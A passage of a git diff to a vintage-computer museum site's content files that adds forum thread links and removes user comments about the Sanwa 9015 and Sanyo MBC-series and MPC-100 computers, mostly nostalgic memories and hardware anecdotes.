author: Jeff Knight (Australia) - date: Saturday 4th April 2020 - text: I still have one, unused but still in one piece, and yes it was powered by C batteries. - - author: Jeff Grubbs (USA) - date: Monday 2nd October 2006 - text: We had this in the early 80's. I think we purchased it at radio shack. Yes all it was, was a glorified pong game, but the family spent hours playing it.I don't believe that it took batteries. related: - /museum/a10-telespiel-9010 - /museum/alex-video-spiel-tg-621 diff --git a/content/museum/sanwa-9015.md b/content/museum/sanwa-9015.md index 140c597c..736c88d6 100644 --- a/content/museum/sanwa-9015.md +++ b/content/museum/sanwa-9015.md @@ -11,6 +11,7 @@ params: - photos - software - links + forum_thread: 708 photos: - title: SANWA 9015 subtitle: '' @@ -73,26 +74,6 @@ params: - title: INTERNAL LINK url: http://www.old-computers.com/magazine/view.asp?r=2&a=4 text: Article comparing the different GI catridge based systems - comments: - - author: gutwimir (poland) - date: Friday 24th February 2012 - text: sell for only ebay sanwa / Mustang 9015 Made in Germany joystick + 3 floppy + headphones info e-mail ewak300i@wp.pl - - author: lucifershalo (Belgium) - date: Saturday 1st May 2010 - text: |- - Hello,\ - I m interested in that machine\ - if someone is selling it...contact me... - - author: Dan wild (Germany) - date: Tuesday 23rd February 2010 - text: |- - I sell my SANWA9015\ - Its an incredible cool mschine. Very Oldschool fpr Cool people. JUST BUY IT!!! - - BUY BUY BUY!!!! - - author: Dan Wild (Germany) - date: Wednesday 10th February 2010 - text: I want to sell my old sanwa 9015. Is anyone interested? this maschine is really rare and nearly antique related: - /museum/audiosonic-tele-sports-iv - /museum/bandai-tv-jack-5000 diff --git a/content/museum/sanyo-mbc-1000.md b/content/museum/sanyo-mbc-1000.md index 04026496..6781ed64 100644 --- a/content/museum/sanyo-mbc-1000.md +++ b/content/museum/sanyo-mbc-1000.md @@ -69,6 +69,7 @@ params: tabs: - photos - adverts + forum_thread: 1045 photos: - title: MBC-1000 subtitle: '' @@ -151,74 +152,6 @@ params: subtitle: '' text: Thanks to Chris Collman for this picture image: /media/museum/pubs/sanyo_mbc1000_brochure_2.jpg - comments: - - author: Colin Smith (United Kingdom) - date: Monday 29th June 2020 - text: I wrote a motor insurance quotation system for the mbc-1000. It had all the cars, 40 insurers and all the age ranges etc. How I fitted it all on one floppy disk frightens me now. It worked and sold loads of them - made someone else (my boss) a fortune! - - author: mr philip sempers (United Kingdom) - date: Saturday 12th January 2019 - text: |- - There is one for sale on eBay item number:163474461601 - - Seems like it is rare as hens teeth and I am only a few miles from it. Don''t have the money to get it tho :( - - author: James Smith (Idaho, USA) - date: Thursday 18th October 2018 - text: The user manuals were interestingly written. A friend opined that a nephew of the Sanyo president who was taking English in Tokyo High School, and not doing well, wrote them. I still chuckle at the memories of deciphering them. - - author: R H SMITH (United States) - date: Wednesday 21st September 2016 - text: |- - I HAD A SANYO CPM COMPUTER AT ONE TIME. - - I RECORDED A BUNCH OF DATA ON FLOPPY DISKS MANY YEARS AGO. i WOULD LIKE TO FIND SOMEONE WITH A CPM MACHING THAT COULD READ THE DISKS AND TRANSFER TO A DISK FOR ''WINDOWS 10'' . - - IF YOU COULD REFER ME TO ANYONE ON THIS SUBJECT, I WOULD APPRECIATE IT. - - R H SMITH\ - RHSMITH001@YAHOO.COM - - author: Tim Blakey (California) - date: Monday 28th September 2015 - text: |- - My oldest brother sold computers in the university bookstore at UOP in the early 1980''s. As an undergraduate, he spent much time teaching university professors how to set up and use their computers. He came into possession of a Sanyo MBC1000 through this connection, and gifted the computer to me in 1986 when he upgraded to a better system. - - I loved this machine, my first computer, and it seemed quite magical to me. Even though the Macintosh had been out for two years, I didn''t have one. So to me, my giant MBC1000 felt like a piece of science fiction made real, with its softly glowing green screen and the intermittent crackle-hum of the floppy drives. It was also extremely practical. - - It not only had the built-in 5.25" floppy, but it also came to me complete with a daisy-chained external 5.25" drive, a sprocket-fed dot matrix printer, a box of white continuous paper and a stack of floppies. - - From that point forward I wrote every school report in WordStar, printed in low-res dots on perforated paper. I no longer had to re-type pages every time I made an edit. In fact, I don''t think I ever used my typewriter again. - - But best of all were a collection of three floppies titled ZORK, ZORK II and ZORK III. These games were an instant hit with me, an AD$D geek, and fan of Choose Your Own Adventure books. I learned a lot about how to design games from playing these repeatedly, and guessing at the game''s vocabulary. - - I was an art student, and intimidated by the prospect of learning SBASIC. Little did I know that computers would later completely take over the commercial art and design world. - - The machine was so large it was like having another roommate. I remember lugging the hulking block of metal and glass from apartment-to-apartment for years. At first it wouldn''t even fit on my small writing desk, so It lived on the floor, and I would spend hours laying on the carpet in front of it playing those games or typing. Sometimes it would occupy my drafting table for serious report-writing, and I eventually built a custom desk that held all of the components on perfectly-sized shelves. - - For some reason, I still have the main shelf thirty years later. But sadly, the computer is long-since gone, replaced by a used Macintosh IIcx in 1990. The dot-matrix printer developed a clogged row, and stopped printing descenders. So for a while I had to manually draw every descender with a pencil. - - I still have the IIcx, and nearly every computer and laptop I''ve owned since then, but the one computer I miss the most was my mechanical roommate. - - author: Doug Neumann (USA) - date: Saturday 8th August 2015 - text: In the early 80''s I was employed at an office supply store in the college town of Menomonie, Wisconsin, home to UW Stout. We had started out selling the Timex-Sinclair 1000, graduated to the Commodore VIC20, and eventually advanced to the Commodore 64, the Sanyo MBC-1000, and the NEC APC, which was directed solely at the business market. We even had a Compaq Portable PC - or ''luggable'' as it was often referred to. I always liked the little Sanyo, as the MicroPro software was very user-friendly, and the SBasic it shipped with was easy enough for someone like me to get a handle on. I wrote an interactive SBasic program that would scroll through a number of pages of the Sanyo''s selling points, and even had an ''input page'' that was displayed anytime a key was pressed, so customers could type in their name, which would trigger a sub-routine that ''personalized'' their computer shopping experience. If their first name happened to be the same as one of our staff, an additional sub-routine - would be triggered that was intended to offer them some degree of familiarity with a sales person before actual contact - I had noticed that people were often self-conscious about their lack of knowledge about the emerging technology. Even though we sold a lot of the Commodore merchandise, and even some of the very pricey NEC business systems, we never did have a ''taker'' on the Sanyo, and it eventually got relegated to printing mailing labels for sales flyers promoting office supply products. I had always hoped that I''d be able to buy the little system for home use, but it was probably best that I didn''t - technology evolved quickly, and it was soon obsolete, at least as a home computer. Still, I loved the solidly-built little system - especially the metal-encased keyboard. Fond memories indeed... - - author: Otto Fobian (South Africa) - date: Thursday 4th April 2013 - text: |- - The MBC-1000 was also my first "real" computer. I had been fiddling with Z-80 type stuff but never achieved anything useful. Being a radio ham at the time I interfaced my hf rig to the "1000" and wrote a morse code "reader" in assembler. It was very good at tracking speed and variations in transmission technique. Later I wrote a morse sender as well. Amateur Packet Radio became popular and I wrote several apps for receiving and sending for that too. I had a budgie as a pet which learned the sound of the keyboard clicks. She would sit on the monitor and click away as if typing furiously!!\ - Many nostalgic memories of those days. - - author: Wolf W. Berger (Bavaria) - date: Sunday 20th May 2012 - text: For me as a freelance translator working in Japan in 1982 the MBC (I had the 1200 with two floppy disc drives), one of the two types of daisy wheel printer offered by a Tokyo software house called Procom, and their adaption of Wordstar for different languages, this was the very first affordable machine for German. I paid the equivalent of $5,000 for the package and it was all worth it because translation business was booming at that time in Japan. I scrapped the machine after 8 years of heavy duty having used up two keyboards and two floppy drives in the process. - - author: writeroffthelake (Vanessa) (USA) - date: Wednesday 10th September 2008 - text: My first computer was the Sanyo MBC-1000. You''re right, it had a very fast bootup. Great machine. I paid $1500 for it in, I believe, the fall of ''82 (maybe ''83). I had only 2 options for printers that would work with it and I still had to pay $60 for a parrallel cord to be custom made - they had to have my Sanyo manual. It took them a week to do the cord. I liked the machine so much that in 1985 I bought the more expensive "sister" to it - the Sanyo MBC-4050 because it had 2 floppy drives and double the memory. I sold the MBC-1000 for $150. I''m a freelance writer and I can tell you that the screen on that Sanyo, even when writing 12-15 hours a day, never gave me a headache or eye problems. It was always clear and easy to see, a big plus for a writer. Great computer and a good price - the same price as the Healthkit that was similar, but required you to build it. I was always glad I chickened out on building the Healthkit and bought the Sanyo MBC-1000. - - author: Bruce Coulette (Earth) - date: Monday 20th August 2007 - text: This machine was extremely rugged and reliable. Many cups of coffee on the keyboard did not kill it. I had a consulting business at the time and took a chance on buying a computer - of course, it made a tremendous difference. No more doing spreadsheets by hand, threw away my White-Out, etc. You always remember your first computer fondly, but this was a really good machine for its day and operating system (CP/M). The price you show was deeply discounted - I paid about $1,600 (no printer). - - author: Chris Collman (USA) - date: Tuesday 16th January 2007 - text: This was my first PC and used it in our garment manufacturing business. I bought a package that included an MBC-1000, second external 5 1/4 floppy drive, daisy wheel printer, installation and something like 8 hours of instruction for around $4,000 (1983 or 4?). I would guess the retail price of just the computer as pictured was around $2,000. We used CalcStar for our costings and WordStar for letters and stuff like that. In June 2006, I dismantled all the parts and took it to the recycle center, along with my Kaypro which replaced it. Heavy steel construction, very little plastic. I still have my custom boot disk and WordStar program disk, just to impress other old timers ! - - author: John Van Laer (Earth) - date: Thursday 17th August 2006 - text: My parents worked as insurance brokers and had a Sanyo MBC 1000 for a while, I remember it well! We had insurance quotation software for it, plus Wordstar and an adventure game (called Adventur on the disk label, I think it was Classic Adventure for the CPC, for example). I've still got the software at home somewhere - with the eventual aim of connecting a 5.25" drive to a CPC6128 and using it that way - but the Sanyo machine disappeared long ago... oc_id: 1072 source: url: https://web.archive.org/web/20230417011112/http://www.old-computers.com/museum/computer.asp?c=1072 diff --git a/content/museum/sanyo-mbc-1100-1150.md b/content/museum/sanyo-mbc-1100-1150.md index 9199cacf..85032cb8 100644 --- a/content/museum/sanyo-mbc-1100-1150.md +++ b/content/museum/sanyo-mbc-1100-1150.md @@ -60,6 +60,7 @@ params: value: Unknown - label: PRICE value: £1882 (1150) (U.K., 1983) + forum_thread: 882 oc_id: 902 source: url: https://web.archive.org/web/20230510155752/http://www.old-computers.com/museum/computer.asp?c=902 diff --git a/content/museum/sanyo-mbc-1200-1250.md b/content/museum/sanyo-mbc-1200-1250.md index 21beb619..c7f6bfdd 100644 --- a/content/museum/sanyo-mbc-1200-1250.md +++ b/content/museum/sanyo-mbc-1200-1250.md @@ -62,6 +62,7 @@ params: value: Unknown - label: PRICE value: £2294 (1250) (U.K., 1983) + forum_thread: 1148 oc_id: 1180 source: url: https://web.archive.org/web/20230417020140/http://www.old-computers.com/museum/computer.asp?c=1180 diff --git a/content/museum/sanyo-mbc-4000-mbc-4050.md b/content/museum/sanyo-mbc-4000-mbc-4050.md index f40c701b..f858c247 100644 --- a/content/museum/sanyo-mbc-4000-mbc-4050.md +++ b/content/museum/sanyo-mbc-4000-mbc-4050.md @@ -60,18 +60,7 @@ params: value: Built-in PSU - label: PRICE value: From 5,500 - comments: - - author: Helen (United Kingdom) - date: Saturday 8th December 2012 - text: I remember the 4050 well. Top of Sanyo''s range of computers at the time. 640K RAM if I remember rightly$ sold at the time for around £2500- 3000 in UK I think$ Not many were sold though. May well have been supplied with Wordstar, Calcstar $ Datastar applications free of charge. It was first "real" computer I had access to (one at the office one at home). Well as Ad Manager for Sanyo at the time I had to know how to use the darned things in order to write the leaflets! - - author: Harry (uk) - date: Saturday 14th March 2009 - text: |- - I recently aquired a complete mbc 4050, stripped it, cleaned and serviced the drives, reseated all ic''s ,and now this has to be the best,and quickest cp/m machine in my collection, and so quiet in use, the drives will read the disks almost instanty,and quietly, superb piece of engineering!\ - but why did they make the keyboard so big?? - - author: Dave (UK) - date: Tuesday 28th March 2006 - text: I own one of these. When time allows later this year I'll post some info. + forum_thread: 1076 oc_id: 1106 source: url: https://web.archive.org/web/20230417020139/http://www.old-computers.com/museum/computer.asp?c=1106 diff --git a/content/museum/sanyo-mbc-55x.md b/content/museum/sanyo-mbc-55x.md index e798d8f7..8a17e3a1 100644 --- a/content/museum/sanyo-mbc-55x.md +++ b/content/museum/sanyo-mbc-55x.md @@ -79,6 +79,7 @@ params: - photos - adverts - links + forum_thread: 467 photos: - title: MONOCHROME VERSION subtitle: '' @@ -129,158 +130,6 @@ params: - title: Vintage PC pages url: http://www.seasip.info/VintagePC/sanyo.html text: dedicated page with accurate technical information - comments: - - author: philip yanov (Greenville, SC) - date: Tuesday 2nd April 2002 - text: I used to sell these machines. We wrote software for carpet cleaning companies that ran on them. I think these machines lacked DMA or something. WHat I remember was that every time you accessed the floppy drive, the real time clock stopped and then restarted when access was over. The more you used the floppy drive, the further the real time clock was off. Since it took about a minute to format a floppy for example, the clock would be a minute slow when you were done. - - author: Adam Marchaud (Ohio, USA) - date: Sunday 26th July 2009 - text: |- - I put a lot of time and money into tricking out my old 550. Not only was it fun, but I learned a lot. - - Wordstar as supplied was painfully slow, as it insisted on redrawing the screen completely with every scroll. A patch (which I think came from Soft Sector magazine) told it to use the BIOS screen writing routines, for a huge improvement. - - My 550 also came with a different word processor, Easy Writer, which I tried once and put away. - - The buzzer was not impossible to control, just limited. It was actually a speaker driven by a square wave generated by a programmable UART. Like Robert, I typed in somebody''s BASIC program, again probably from Soft Sector, or maybe from The Silver Box (the Computer Shopper Sanyo 550 column). The program would play something more or less recognizable as music through that speaker. Alas, it took so long to enter even a short piece of music that it wasn''t worth it except to prove it could be done. - - One of the few PC programs which would run as-is was Mark DeSmet''s C compiler. The editor even worked after I relinked the executable, using BIOS routines to replace the direct screen writes. With that compiler and its basic non-macro Intel assembler, I wrote my own modem program with vt220 emulation, chat scripts, and xmodem protocol. - - I wasn''t too interested in the $150-200 Sanyo video board CGA option and instead fitted a $30 Hercules monographics clone. Again using DeSmet''s Intel assembler, I wrote an MSDOS device driver to support it and its printer port, using the Sanyo''s original red and blue video areas in high memory for print spooling buffers. The device driver also added hotkey support so I could use Borland''s Sidekick. With that, I got a surprising number of supposedly incompatible PC programs to run on that machine. Eventually I patched the BIOS on the diskette to talk to the monographics card without the driver. - - I probably still have the source code for most of those drivers and patches, if anyone cares. - - Lots of folks piggybacked memory on the 550s to get 512k or 768k. I used a cleaner method that one of the hardware hackers in our local users'' group figured out. IIRC, we replaced the second 128k of memory with higher density chips for 512k, and tweaked the memory addressing to support the larger chips. - - For a while, I ran two 800K Teac drives using Michtron''s DS-DOS, for a total of 1.6mb online floppy storage. - - Later I fitted a hard disk kit which used a surplus SASI (Shugart''s SASI, not SCSI) controller and a custom board which plugged onto the Sanyo expansion bus and spoke SASI. I eventually put a 40mb Winchester drive on that box. I had to patch the HD kit''s driver for that enormous (!) disc, and replace Sanyo''s feeble linear power supply with a surplus switching supply to provide enough current. (A more common upgrade was fitting larger diodes to Sanyo''s linear supply.) As someone pointed out the Sanyo had no DMA, but since HD transfers were much faster than floppy transfers, at least the HD made PIO a little more tolerable. - - I also added a clock speed doubler, a little "turbo board" which plugged between the CPU and its socket. With a NEC V20 replacing the 8088, that machine could almost hold its own against 8mHz PC clones. - - I kept that little silver box going and useful up until about 1990, when I got my first 80386 machine. - - Lots of great memories. I wish I still had the little guy, but I donated it to Amvets in a cleaning fit one day. I don''t want to know what they did with it. - - author: Steven Koehler - date: Monday 25th August 2008 - text: |- - The floppy drives in these models were from Teac. Interestingly, the drive lights always stayed on when the door was closed. They did not go out even if the drive was not currently being accessed. - - Regarding the video issue: a lot of "IBM PC" software at the time accesed the address of the video cards directly - B800:0000 for color and B000:0000 for monochrome, since the Sanyo had no video card at this address the video output was never seen. I believe Sanyo offered a CGA card that was present at this address for direct memory writing. - - A-OK company wrote a OS for the system as well, called A-OK DOS. - - My MBC-555 would reset by itself if the dishwasher started - I always wondered why, maybe it had to do with the type of power supply. - - The IBM PC/XT at the time had 10 function keys. Notice the Sanyo had half that amount. To get the higher function keys you would need to do these strange shift combinations. - - author: Mark Raftogianis (USA) - date: Thursday 16th November 2006 - text: I bought a Sanyo MBC-555-1 iin 1983, primarily due to its low price and color capabilities. It came bundled with WordStar, CalcStar, and DataStar. BASIC was easy to program for graphics. My Sanyo had MSDOS v.1. I bought it from Priority One computers in Los Angeles; they had a big sale at the Los Angeles Convention Center. The Sanyo rep said they were creating an upgrade kit to convert from DOS 1 to DOS 2. Well, that upgrade kit never came. When I talked to Priority One they said they had numerous complaints about Sanyo's support and eventually severed ties with them. After 20 years I still refuse to buy Sanyo products! I eventually bought an IBM close to replace it. I donated the Sanyo to Goodwill. - - author: Warren Watts (Columbus, OH) - date: Thursday 30th March 2006 - text: |- - I purchased an MBC-555-2 via mail order in 1985. I remember spending hours sifting through the Computer Shopper to find the absolute best deal I could.\ - I had an early version of Borland Turbo Pascal that I used on the machine. I remember writing a Pascal version of "Animals" that ran on the Sanyo.\ - During the time I owned the computer, the price of RAM dropped dramatically and I purchased the individual RAM chips necessary to max out the computer's memory. It took quite a few chips as I recall, and I remember painstakingly placing all the RAM on the motherboard.\ - In 1987, I traded it to my boss for an original 128K Apple Mac. He had a small software company, and used the Sanyo for several years afterward to copy and create distribution disks for his products. - - author: John Domingues (United States) - date: Friday 7th January 2022 - text: I designed a self refreshing memory board for this computer. Full details were published in Sanyo MB magazine. I still have a copy of this magazine. - - author: Alain David (Belgium) - date: Monday 14th December 2020 - text: In 1988 these were still being offered in the Netherlands Sanyo 555/2 2FDD-360DD MS DOS 2.11 256kb RAM BW monitor and Wordstar, Calcstar and Mailmerge incl. 999 Guilders (about 350-400$ or 250-300£ I guess) https://archive.org/details/hcc-nieuwsbrief-100/page/8/mode/1up The same magazine did a reprint of his test of the MBC555 priced at 4995 Guilders (1000$ or 1200£) in 1984 in issue 100 of 1988 https://archive.org/details/hcc-nieuwsbrief-100/page/38/mode/1up - - author: Alain David (Belgium) - date: Sunday 29th November 2020 - text: An advert in personal computer world July 1984 states 749£ for the 550 and less than 1000£ (presumably 999£) for the 555. https://archive.org/details/PersonalComputerWorld1984-07/page/153/mode/1up - - author: Paul Miller (USA) - date: Sunday 23rd April 2017 - text: |- - I had an Atari 400 before this by the 550 was my first "real" computer. Like many others here I learned a lot about computers with it. I spent a ton of time on a bulletin board dedicated to the 550 in Michigan (Michigan Software I think?) over a 300 baud modem. - - There was a 550-specific magazine at the time that I poured over every month. Someone published some assembler in there to control the speaker to make tones. I wrote a synthesizer/sequencer (callled Sanyo Synthesizer) using that and had it published in the same magazine, when I was in 7th grade. Someone also published some code to do smooth-scrolling and I used that to make a simple game with a space ship where you fly through some caves, and had that pubished as well. - - The graphics were much better than the standard IBM PC and I wrote a lot of programs with colorful graphics and animation, spending a lot of time working out pictures on graph paper and turning them into bytes. - - author: willy tarreau (france) - date: Sunday 2nd August 2015 - text: I used to have an MBC-550 when I was a kid, from 10 to 16 (1984 to 1990). I learned a lot on it. Initially it was shipped with DOS 1.25, which didn''t even support directories. That probably explains why even today there are 4500 files in my home dir! After I accidently destroyed the boot disk, I received a DOS 2.11 floppy as a replacement, and could start to retrieve some MS-DOS 3.20 programs from the school, "crack" them to ignore the wrong DOS version, allowing me to run the wonderful DEBUG utility for the first time. That allowed me to start to write ASM. This machine was provided with a fairly complete manual including the whole schematics. I could write a PC-compatible BIOS that would boot MS-DOS 5.0 and run Tetris. However by then I didn''t understand how to write using the floppy controller (there was no internet to get datasheets), so disk writing was disabled, and tetris scores could not be saved. I could not use Turbo Pascal 3.0 either due to this lack of writing capability. - For this reason I programmed this BIOS as well as a copy of the original on a 27128 EPROM with a switch on pin A13 so that I could decide what BIOS to boot from. I really had great moments with this machine, and its graphics were quite cool for that time. - - author: Brian Empey, P.Eng. (Canada) - date: Wednesday 18th February 2015 - text: |- - Quirks :: to get the unit below $1000 retail, Sanyo cut a lot of corners. Someone mentioned that it was lacking a DMA controller. That is correct (I have full schematics of the motherboard, and all the original manuals with my MBC-550). In order to read or write from/to the floppy drive, it had to go into a tight SW loop, ignoring all else. Due to the limited memory, WordStar would buffer documents, and swap/load data from the floppy while scrolling or while you entered a lot of text. Users quickly learned that when typing in WordStar, once you heard the loud "Clank" of the disk heads actuating, its time to stop typing, because every character that you type will be lost while its accessing the drive.\ - I created a computer animation for a 4th year arts class at UBC on my MBC-550 with custom code that I wrote in BASIC. The animation was filmed with a borrowed 16mm camera with a single-step mode and a shutter release cable.\ - It was so slow rendering each frame that I had to add a "BEEP" at the end of the rendering to wake me up to capture that frame and hit the space bar to start rendering the next frame.\ - I generated about a 1/2 minute of 24 FPS film, but I recall it taking over 24 hours to do so.\ - Oh, the graphics buffers were very bizarre.\ - The chip''s BIOS was in a unique SANYO windowed EPROM chip that also housed the RED and BLUE video buffers. It only supported 640x200 graphics (16,000 bytes each, so 32k SRAM for RED and BLUE) housed in the same physical chip as the BIOS PROM. It had an RGB output, and a monochrome composite output that only showed the GREEN video. But the GREEN came from the main DRAM memory. So, in theory, you could do monochrome animations by pre-rendering frames into RAM and then re-mapping the video controller for where it should fetch the green pixels. Pretty cool! But I wasn''t ambitious enough to do that. - - author: Gerry Brophy (canada) - date: Monday 23rd July 2012 - text: |- - I have an active Sanyo mbc 550 / 555 computer and I''m creating an archive of software for it. - - http://www.eriscreations.com/sanyo/index.html - - Please let me know if you have any software to contribute so I can add it and of course check it out myself. I have mnay more disks that I am slowly adding to my archive. - - I have a Sanyo mbc 555 w 2 disk drives, colour monitor, joystick, IBM Video Board and a bunch of disks. - - Gerry Brophy\ - gerry@eriscreations.com\ - www.eriscreations.com - - author: chris (europe) - date: Monday 5th March 2012 - text: That was my first computer, I was 14 years old, my dad didnnt want a computer for games like commodore 64, it was really awesome, I spent hours to program with Basic - - author: Jerry Hubbell (Locust Grove, VA, USA) - date: Friday 21st October 2011 - text: I bought an MBC-555 in February 1984 I believe (when they were first released) and used it to learn programming. I actually developed the program "SolarSim" sold by MichTron and remember how neat it was that they decided to publish it and I still have the SoftSector magazine where the ad for SolarSim was placed. I still have my machine but it hasn''t been booted for over 10 years. If anyone has a copy of SolarSim, I would appreciate hearing from you as I lost my boxed copy I got from MichTron when it was first published. - - author: Alan W. (USA) - date: Saturday 3rd September 2011 - text: I have a 555 from my grandpa, who used Calcstar to keep track of stocks. Once in a while, I turn it on. It''s a lot more fun to write BASIC programs on actual hardware, not on some emulator. The computer turns 31 this year, and still runs flawlessly. - - author: David Siebert - date: Thursday 1st September 2011 - text: One minor correction, there was no MS-DOS version of Excel. The microsoft spreadsheet was called Multiplan. The store that I worked for carried one but I do not think it ever sold. People wanted PC compatibles and even if your computer was better than the IBM PC no one wanted it. Machines like the Z100 and the Tandy-2000 just sell. The 550 while inexpensive just wasn''t popular at our store. - - author: Paul Smith (UK) - date: Saturday 16th April 2011 - text: I ran a user group for the MBC55x back in the late 1980''s from my flat in Bath, UK. It was called "SMUF" for the Sanyo MBC User Forum, and I produced regular disk magazines for a while.... I still have some of them in my lock-up, buried amongst the other aging retro computer gear. I guess it taught me MSDOS and assembler pretty well, and I learned a lot - probably now all forgotten too! Great times.... - - author: Tim Buterbaugh (USA) - date: Saturday 12th March 2011 - text: |- - The MBC-550 (or 555) had a design flaw in its serial card. The company I worked for designed a replacement board which we sold to a company named Scottsdale Systems. They sold the improved systems under the name "Sanyo Silver Fox." - - I remember that the test of IBM compatibility in those days was to run "Flight Simulator." I can''t remember if these machines passed that test or not . . . - - author: James Prew (Albuquerque New Mexico, Usa) - date: Friday 23rd July 2010 - text: Wow. My First Computer, had the 555 2(360k floppy setup) and used to publish a newsletter with it back in 99. I still have the Dos 1.25 boot disk and WordStar, CalcStar, and ReportStar v3.0 and 4.0 software bundles. It''s amazing that anyone still remembers this. - - author: Joe Dellea - date: Monday 25th August 2008 - text: 'Among the quirks to the machine: the power supply was not a regular switching power supply. It was a transformer. Quiet machine. The keyborad lacked the "alt" key. There was a very handy reset button on the left edge of the keyboard. When you push the power button, you definately had the feeling that Sanyo had borrowed some parts from their stereo division!' - - author: David Botkin (USA) - date: Monday 25th August 2008 - text: |- - I owned & used an MBC-555-2 from 1984 until about 1992. It was the first MS-DOS compatible computer that retailed for under US$1000. It was also quite possibly the only (somewhat) IBM-compatible system that was actually SLOWER than an IBM PC (the PC clocked at 4.77 MHz, while the Sanyo clocked at 3.6, giving it a Norton SI rating of 0.8). The 55x motherbaord included a socket for an 8087 math coprocessor, which helped with spreadsheet applications. - - Still, I loved that machine. While the mixed text-and-graphics video made it incompatible with many programs intended for the IBM (Lotus 1-2-3 being the benchmark at the time), WordStar worked just fine, as did Microsoft Excel (the original MS-DOS version) and also Borland's Turbo Pascal compiler. If your consideration was more for file interchangeability (it ran MS-DOS 2.1) than for software compatibility, the Sanyo was a solid, workhorse system at a very reasonable price. - - author: Richard N. ("Dick") Cote (Mt. Pleasant, SC) - date: Sunday 23rd December 2007 - text: |- - Dear Friends: My Sanyo 550, purchased in 1984, was God's gift to a working writer. It came with WordStar, and I wrote seven books using the Sanyo and WordStar version 3.3. It was great fun -- really! -- learning DOS (not optional in 1984!), writing primitive DOS programs, and memorizing all those WordStar commands. My colleague and I, the Rev. George David Exoo, a Unitarian minister and an extraordinary writer, both knew that we would be toast if we didn't know a computer expert when we bought our first computers. And neither of us knew one or how to find one. So we both got identical Sanyo 550s with the same monitor and printer (total price, as I recall: about $1,500 for the package -- so that when something went screwy, we at least had each other to brainstorm with -- and that usually worked. For a writer, back in '84, getting a machine that would remember what you typed, let you change it anytime, and actually print it on paper was like having Christmas every day. And then -- lo and behold -- WordStar learned how to make footnotes that traveled with the text if you moved it! It still makes my heart beat faster when I remember the thrill of seeing THAT! - - Now, 23 years later, I cringe every day knowing that one of my PCs is going to crash, lock up, or refuse to do what it did yesterday. My Sanyo never failed me, and after I gave it to a friend after four years, he used it for two more and then his friend used it another for two more. I'd love to have it back! I'd have it bronzed -- like baby shoes -- and use it as a pedestal to display the books I wrote "way back then." With warmest wishes -- Dick Cote' / dickcote@earthlink.net - - author: Blake Patterson (Alexandria, VA (USA)) - date: Sunday 24th July 2005 - text: 'Does anyone have a screenshot of the Sanyo version of the game from MichTron called Time Bandit? The Sanyo version took unique advantage of the Sanyo''s higher # of on-screen colors vs. the PC of the day. Thanks.' - - author: Richard Yien (New York) - date: Tuesday 3rd August 2004 - text: This was a good little machine... got it around 1983 and used it for WordStar, dBase, and BASIC programming. I remember buying it at Crazy Eddie or some place like it and thinking that it was a great deal for a PC compatible - then being disappointed after discovering that it wasn't really totally compatible. Had it hooked up to a Juki letter-quality printer... - - author: Omar Egan (El Salvador) - date: Monday 19th May 2003 - text: We used these machines for our business back in 1985... we later moved to more powerfull PC clones. I still have two of the machines in my attic, and recently cleaned them out only to find, to my amazement, that they still work! Does anyone know if there a users group alive anywhere? It would be great to find people who are still doing usefull things with these machines! - - author: Robert Lingenfelter (tx) - date: Wednesday 11th December 2002 - text: I had a 550 and learned alot about computers from it. Subscribed to the mag. I was able to learn some C programing (MIX C compiler), followed an article to get the speaker to play notes instead of that awful "honk!", and even soldered on extra ram chips to expand the memory to a whopping 512K! I kinda still wish I had it to play with. I wonder if anyone got MINIX to run on it? - - author: Tim Robert (Earth) - date: Wednesday 10th April 2002 - text: The reset button was near the top of the left side of the keyboard, to the left of the F1 key. When deep in thought about some programming issue, I often found myself idly fingering that button. I had to get out of that habit... My parents inherited my SBC-550 and used it well into the 1990s. oc_id: 473 source: url: https://web.archive.org/web/20230417004107/http://www.old-computers.com/museum/computer.asp?c=473 diff --git a/content/museum/sanyo-mpc-100.md b/content/museum/sanyo-mpc-100.md index 69e37a97..f40c0201 100644 --- a/content/museum/sanyo-mpc-100.md +++ b/content/museum/sanyo-mpc-100.md @@ -70,6 +70,7 @@ params: - hardware - emulators - links + forum_thread: 866 photos: - title: MPC-100 subtitle: '' @@ -248,60 +249,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: RayWashed (Spain) - date: Saturday 30th August 2014 - text: I have a MPX-100, but mine has no light pen and no hole, it seems it''s never had it, where it should be there is a round plastic where says "64K" - - author: Darren (England) - date: Wednesday 4th September 2013 - text: |- - I have three MSX''s, two of which are the Sanyo MSX MPC-100''s. - - It was the first ever computer I used, my dad was a TV engineer at the time and the TV shop he worked for was selling them off because they''d failed and there was a severe lack of software for them. - - I actually really liked the MSX''s, they were really easy to program and got me into programming. I later tried a C64 and couldn''t find the programming anywhere near as easy, and then after that I got a ZX Spectrum, again those were very good for programming. - - The MSX was so clever with the F and Shifted F keys that give you hints about different programming commands to use. Funny thing was F5 was RUN and later on I got into C++ and found Borland had F9 as the run command so it was very similar. - - When I first got the MSX I had two games for it - Vicious Viper and Toshiba 3D Golf Simulation. - - Vicious Viper was Sanyo''s version of the Snake game that appears on Nokia phones - but it''s graphics were far better than Snake, and 3D Golf Simulation was an interesting game, mainly because the entire game was wrote in MSX Basic and there was no protection to stop you pressing the stop key to get to the basic program. - - This was really good because when you got into the basic code you could have a look at how a computer game worked and even have a play changing some of the things to see what effect it made on the game - like I changed the fairway and green a few different colours, etc!! - - With both of my Sanyo MSX MPC-100''s I never got the light pen either, I got the hole for it but no light pen. - - author: Francisco Martín (Madrid (Spain)) - date: Thursday 11th April 2013 - text: |- - Hi Mark, - - Ok, perhaps could be equivalent to the Z80 4Mhz but in fact the 6502 has to be "quad bumped" and 90Degrees out of phase to have a similar performance than the Z80, similar...Think what you can do if you do the same (if you boost up) the Z80... And don''t forget the PAL version was even under 1Mhz... - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site - - author: Mark - date: Monday 6th June 2011 - text: The C64 had a 1Mhz clock, but was quad pumped (clocked on +ve and -ve edge on one in phase clock, and one clock 90Degrees out of phase). Therefore a 1Mhz 6502 (6510 in C64s case) would be equivalent to 4Mhz Z80. - - author: Francisco Martín (Madrid (Spain)) - date: Tuesday 21st October 2008 - text: |- - I disagree Giovanni: "Nothing if compared to C$64" this computer running at 0.9Mhz (neither 1Mhz in the Pal version), can''t be compared with the 3.6 Mhz MSX.\ - The Z80 was running faster than the C64 processor.\ - ¿Philips bad quality? ¿Do you really think so? Philips VG8020 is, with the Sony HB75 the most extended 